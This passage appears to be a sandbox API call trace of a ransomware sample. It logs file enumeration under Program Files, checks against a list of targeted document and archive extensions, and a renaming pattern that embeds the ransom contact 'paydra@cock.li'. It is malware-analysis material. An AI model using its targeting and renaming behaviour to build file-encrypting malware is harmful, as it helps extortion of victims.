Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0056.086] lstrlenW (lpString=".doc") returned 4 [0056.086] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0056.086] lstrlenW (lpString=".docx") returned 5 [0056.086] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0056.086] lstrlenW (lpString=".pdf") returned 4 [0056.086] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0056.086] lstrlenW (lpString=".xls") returned 4 [0056.086] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0056.086] lstrlenW (lpString=".xlsx") returned 5 [0056.086] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0056.086] lstrlenW (lpString=".ppt") returned 4 [0056.086] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0056.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0056.086] lstrlenW (lpString=".zip") returned 4 [0056.086] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0056.086] lstrlenW (lpString=".rar") returned 4 [0056.086] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0056.086] lstrlenW (lpString=".bz2") returned 4 [0056.086] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0056.086] lstrlenW (lpString=".7z") returned 3 [0056.086] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0056.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0056.086] lstrlenW (lpString=".dbf") returned 4 [0056.086] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0056.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0056.086] lstrlenW (lpString=".1cd") returned 4 [0056.086] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0056.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0056.086] lstrlenW (lpString=".jpg") returned 4 [0056.086] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0056.087] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0056.087] lstrlenW (lpString="ShapeCollector.exe.mui") returned 22 [0056.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.094] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=43520) returned 1 [0056.094] CloseHandle (hObject=0x214) returned 1 [0056.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0056.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0056.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0056.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0056.094] lstrlenW (lpString=".doc") returned 4 [0056.094] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0056.094] lstrlenW (lpString=".docx") returned 5 [0056.094] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0056.094] lstrlenW (lpString=".pdf") returned 4 [0056.094] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0056.094] lstrlenW (lpString=".xls") returned 4 [0056.094] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0056.094] lstrlenW (lpString=".xlsx") returned 5 [0056.094] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0056.094] lstrlenW (lpString=".ppt") returned 4 [0056.094] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0056.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0056.094] lstrlenW (lpString=".zip") returned 4 [0056.094] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0056.094] lstrlenW (lpString=".rar") returned 4 [0056.094] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0056.094] lstrlenW (lpString=".bz2") returned 4 [0056.095] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0056.095] lstrlenW (lpString=".7z") returned 3 [0056.095] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0056.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0056.095] lstrlenW (lpString=".dbf") returned 4 [0056.095] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0056.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0056.095] lstrlenW (lpString=".1cd") returned 4 [0056.095] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0056.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0056.095] lstrlenW (lpString=".jpg") returned 4 [0056.095] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0056.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0056.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0056.095] lstrlenW (lpString=".doc") returned 4 [0056.095] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0056.095] lstrlenW (lpString=".docx") returned 5 [0056.095] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0056.095] lstrlenW (lpString=".pdf") returned 4 [0056.095] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0056.095] lstrlenW (lpString=".xls") returned 4 [0056.095] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0056.095] lstrlenW (lpString=".xlsx") returned 5 [0056.095] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0056.095] lstrlenW (lpString=".ppt") returned 4 [0056.095] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0056.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0056.095] lstrlenW (lpString=".zip") returned 4 [0056.095] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0056.095] lstrlenW (lpString=".rar") returned 4 [0056.095] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0056.095] lstrlenW (lpString=".bz2") returned 4 [0056.095] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0056.096] lstrlenW (lpString=".7z") returned 3 [0056.096] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0056.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0056.096] lstrlenW (lpString=".dbf") returned 4 [0056.096] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0056.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0056.096] lstrlenW (lpString=".1cd") returned 4 [0056.096] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0056.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0056.096] lstrlenW (lpString=".jpg") returned 4 [0056.096] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0056.096] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0056.096] lstrlenW (lpString="TipBand.dll.mui") returned 15 [0056.096] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0056.469] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=3072) returned 1 [0056.469] CloseHandle (hObject=0x1fc) returned 1 [0056.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui")) returned 0x20 [0056.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0056.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0056.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0056.494] lstrlenW (lpString=".doc") returned 4 [0056.494] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0056.494] lstrlenW (lpString=".docx") returned 5 [0056.494] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0056.494] lstrlenW (lpString=".pdf") returned 4 [0056.494] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0056.494] lstrlenW (lpString=".xls") returned 4 [0056.494] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0056.494] lstrlenW (lpString=".xlsx") returned 5 [0056.494] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0056.494] lstrlenW (lpString=".ppt") returned 4 [0056.494] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0056.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0056.494] lstrlenW (lpString=".zip") returned 4 [0056.494] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0056.495] lstrlenW (lpString=".rar") returned 4 [0056.495] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0056.495] lstrlenW (lpString=".bz2") returned 4 [0056.495] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0056.495] lstrlenW (lpString=".7z") returned 3 [0056.495] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0056.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0056.495] lstrlenW (lpString=".dbf") returned 4 [0056.495] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0056.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0056.495] lstrlenW (lpString=".1cd") returned 4 [0056.495] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0056.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0056.495] lstrlenW (lpString=".jpg") returned 4 [0056.495] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0056.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0056.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0056.495] lstrlenW (lpString=".doc") returned 4 [0056.495] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0056.495] lstrlenW (lpString=".docx") returned 5 [0056.495] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0056.495] lstrlenW (lpString=".pdf") returned 4 [0056.495] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0056.495] lstrlenW (lpString=".xls") returned 4 [0056.495] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0056.495] lstrlenW (lpString=".xlsx") returned 5 [0056.495] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0056.495] lstrlenW (lpString=".ppt") returned 4 [0056.495] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0056.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0056.495] lstrlenW (lpString=".zip") returned 4 [0056.495] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0056.495] lstrlenW (lpString=".rar") returned 4 [0056.496] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0056.496] lstrlenW (lpString=".bz2") returned 4 [0056.496] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0056.496] lstrlenW (lpString=".7z") returned 3 [0056.496] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0056.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0056.496] lstrlenW (lpString=".dbf") returned 4 [0056.496] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0056.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0056.496] lstrlenW (lpString=".1cd") returned 4 [0056.496] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0056.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0056.496] lstrlenW (lpString=".jpg") returned 4 [0056.496] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0056.496] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0056.496] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0056.496] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0057.506] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=4096) returned 1 [0057.506] CloseHandle (hObject=0x1dc) returned 1 [0057.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20 [0057.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0057.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0057.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0057.506] lstrlenW (lpString=".doc") returned 4 [0057.506] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.506] lstrlenW (lpString=".docx") returned 5 [0057.506] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.506] lstrlenW (lpString=".pdf") returned 4 [0057.506] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.506] lstrlenW (lpString=".xls") returned 4 [0057.506] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.506] lstrlenW (lpString=".xlsx") returned 5 [0057.506] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.506] lstrlenW (lpString=".ppt") returned 4 [0057.506] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0057.507] lstrlenW (lpString=".zip") returned 4 [0057.507] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.507] lstrlenW (lpString=".rar") returned 4 [0057.507] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.507] lstrlenW (lpString=".bz2") returned 4 [0057.507] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.507] lstrlenW (lpString=".7z") returned 3 [0057.507] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0057.507] lstrlenW (lpString=".dbf") returned 4 [0057.507] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0057.507] lstrlenW (lpString=".1cd") returned 4 [0057.507] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0057.507] lstrlenW (lpString=".jpg") returned 4 [0057.507] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0057.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0057.507] lstrlenW (lpString=".doc") returned 4 [0057.507] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.507] lstrlenW (lpString=".docx") returned 5 [0057.507] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.507] lstrlenW (lpString=".pdf") returned 4 [0057.507] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.507] lstrlenW (lpString=".xls") returned 4 [0057.507] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.507] lstrlenW (lpString=".xlsx") returned 5 [0057.507] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.507] lstrlenW (lpString=".ppt") returned 4 [0057.507] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0057.508] lstrlenW (lpString=".zip") returned 4 [0057.508] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.508] lstrlenW (lpString=".rar") returned 4 [0057.508] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.508] lstrlenW (lpString=".bz2") returned 4 [0057.508] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.508] lstrlenW (lpString=".7z") returned 3 [0057.508] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0057.508] lstrlenW (lpString=".dbf") returned 4 [0057.508] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0057.508] lstrlenW (lpString=".1cd") returned 4 [0057.508] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0057.508] lstrlenW (lpString=".jpg") returned 4 [0057.508] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.508] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0057.508] lstrlenW (lpString="msinfo32.exe.mui") returned 16 [0057.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0057.509] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=26624) returned 1 [0057.509] CloseHandle (hObject=0x1dc) returned 1 [0057.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0057.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0057.509] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.509] lstrlenW (lpString=".doc") returned 4 [0057.509] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.509] lstrlenW (lpString=".docx") returned 5 [0057.509] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0057.509] lstrlenW (lpString=".pdf") returned 4 [0057.509] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.509] lstrlenW (lpString=".xls") returned 4 [0057.509] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.509] lstrlenW (lpString=".xlsx") returned 5 [0057.509] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0057.509] lstrlenW (lpString=".ppt") returned 4 [0057.509] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.509] lstrlenW (lpString=".zip") returned 4 [0057.509] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.509] lstrlenW (lpString=".rar") returned 4 [0057.510] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.510] lstrlenW (lpString=".bz2") returned 4 [0057.510] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.510] lstrlenW (lpString=".7z") returned 3 [0057.510] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.510] lstrlenW (lpString=".dbf") returned 4 [0057.510] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.510] lstrlenW (lpString=".1cd") returned 4 [0057.510] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.510] lstrlenW (lpString=".jpg") returned 4 [0057.510] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.510] lstrlenW (lpString=".doc") returned 4 [0057.510] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.510] lstrlenW (lpString=".docx") returned 5 [0057.510] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0057.510] lstrlenW (lpString=".pdf") returned 4 [0057.510] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.510] lstrlenW (lpString=".xls") returned 4 [0057.510] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.510] lstrlenW (lpString=".xlsx") returned 5 [0057.510] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0057.510] lstrlenW (lpString=".ppt") returned 4 [0057.510] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.510] lstrlenW (lpString=".zip") returned 4 [0057.510] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.510] lstrlenW (lpString=".rar") returned 4 [0057.510] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.511] lstrlenW (lpString=".bz2") returned 4 [0057.511] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.511] lstrlenW (lpString=".7z") returned 3 [0057.511] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.511] lstrlenW (lpString=".dbf") returned 4 [0057.511] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.511] lstrlenW (lpString=".1cd") returned 4 [0057.511] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.511] lstrlenW (lpString=".jpg") returned 4 [0057.511] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.511] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1 [0057.511] lstrlenW (lpString="msinfo32.exe") returned 12 [0057.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft 